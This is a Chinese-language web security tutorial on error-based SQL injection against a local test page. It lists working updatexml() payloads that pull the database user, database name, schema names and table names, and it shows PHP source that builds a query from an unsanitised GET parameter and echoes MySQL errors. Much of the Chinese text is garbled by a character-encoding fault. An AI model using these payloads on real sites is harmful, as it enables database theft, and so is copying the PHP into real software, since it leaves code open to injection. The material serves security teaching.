Web安全解析報(bào)錯(cuò)注入攻擊原理
1.報(bào)錯(cuò)注入攻擊
報(bào)錯(cuò)注入攻擊的測(cè)試地址:http://127.0.0.1/sqli/error.php?username=1。
訪問(wèn)該網(wǎng)址時(shí),頁(yè)面返回ok,如圖28所示。
圖28 訪問(wèn)username=1時(shí)頁(yè)面的的結(jié)果
訪問(wèn)http://127.0.0.1/sqli/error.php?username=1',因?yàn)閰?shù)username的值是1',在數(shù)據(jù)庫(kù)中執(zhí)行SQL時(shí),會(huì)因?yàn)槎嗔艘粋€(gè)單引號(hào)而報(bào)錯(cuò),輸出到頁(yè)面的結(jié)果如圖29所示。
圖29 訪問(wèn)username=1'時(shí)頁(yè)面的的結(jié)果
通過(guò)頁(yè)面返回結(jié)果可以看出,程序直接將錯(cuò)誤信息輸入到了頁(yè)面上,所以此處可以利用報(bào)錯(cuò)注入獲取數(shù)據(jù)。報(bào)錯(cuò)注入有多種格式,此處利用函數(shù)updatexml()延時(shí)SQL語(yǔ)句獲取user()的值,SQL語(yǔ)句如下所示。
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
Updatexml()函數(shù):Updatexml(xml_target,xpath_expr,new_xml)
xml_target:需要操作的xml片段
xpath_expr:需要更新的xml路徑(Xpath格式)
new_xml:更新后的內(nèi)容
其中0x7e是ASCII編碼,解碼結(jié)果為~,如圖30所示。
圖30 利用updatexml獲取user()
然后嘗試獲取當(dāng)前數(shù)據(jù)庫(kù)的庫(kù)名,如圖31所示,語(yǔ)句如下所示。
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
圖31 利用updatexml獲取database()
接著可以利用select語(yǔ)句繼續(xù)獲取數(shù)據(jù)庫(kù)中的庫(kù)名、表名和字段名,查詢(xún)語(yǔ)句與Union注入的相同。因?yàn)閳?bào)錯(cuò)注入只顯示一條結(jié)果,所以需要使用limit語(yǔ)句。構(gòu)造的語(yǔ)句如下所示。
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
結(jié)果如圖32所示,以此類(lèi)推,可以獲取所有數(shù)據(jù)庫(kù)的庫(kù)名。
圖32 利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)名
如圖33所示,構(gòu)造查詢(xún)表的語(yǔ)句,如下所示,可以獲取數(shù)據(jù)庫(kù)test的表名。
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
圖33 利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)表名
2.報(bào)錯(cuò)注入代碼分析
在報(bào)錯(cuò)注入頁(yè)面中,程序獲取GET參數(shù)username后,將username拼接到SQL語(yǔ)句中,然后到數(shù)據(jù)庫(kù)查詢(xún)。如果執(zhí)行成功,技術(shù)處ok;如果出錯(cuò),則通過(guò)echo mysqli_error(@&con)將錯(cuò)誤信息輸出到頁(yè)面(mysqli_error返回上一個(gè)MySQL函數(shù)的錯(cuò)誤),代碼如下所示。
<?php
$con=mysqli_connect("localhost","root","root","test");
// 檢測(cè)連接
if (mysqli_connect_errno())
{
echo "連接失敗: " . mysqli_connect_error();
}
$username = @$_GET['username'];
$sql = "select * from users where `username`='".$username."'";
if($result = mysqli_query($con,$sql))
{
echo "ok";
}
else
{
echo mysqli_error($con);
}
?>
輸入username=1'時(shí),SQL語(yǔ)句為select *from users where `username`=‘1'。執(zhí)行時(shí),會(huì)因?yàn)槎嗔艘粋€(gè)單引號(hào)而報(bào)錯(cuò)。利用這種錯(cuò)誤回顯,我們可以通過(guò)floor()、updatexml()等函數(shù)將要查詢(xún)的內(nèi)容輸出到頁(yè)面上。
以上就是Web安全解析報(bào)錯(cuò)注入攻擊原理的詳細(xì)內(nèi)容,更多關(guān)于Web安全報(bào)錯(cuò)注入攻擊的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
網(wǎng)絡(luò)安全流量分析工具蟻劍詳細(xì)介紹
蟻劍(AntSword)是一款開(kāi)源的跨平臺(tái)WebShell管理工具,它主要面向于合法授權(quán)的滲透測(cè)試安全人員以及進(jìn)行常規(guī)操作的網(wǎng)站管理員,蟻劍推崇模塊化的開(kāi)發(fā)思想,遵循開(kāi)源,就要開(kāi)得漂亮的原則,致力于為不同層次的人群提供最簡(jiǎn)單易懂、方便直接的代碼展示及其修改說(shuō)明2022-09-09
突破神奇的Cloudflare防火墻的網(wǎng)絡(luò)安全學(xué)習(xí)
這篇文章主要為大家介紹了突破神奇的Cloudflare防火墻的網(wǎng)絡(luò)安全學(xué)習(xí),有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-07-07
DDoS攻擊與CC攻擊網(wǎng)絡(luò)安全的兩大挑戰(zhàn)如何應(yīng)對(duì)防御
這篇文章主要為大家介紹了面對(duì)DDoS攻擊與CC攻擊網(wǎng)絡(luò)安全的兩大挑戰(zhàn)應(yīng)該如何應(yīng)對(duì),有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2023-10-10
Html標(biāo)簽帶來(lái)的安全隱患測(cè)試
這篇文章主要介紹了Html標(biāo)簽帶來(lái)的安全隱患測(cè)試2007-01-01

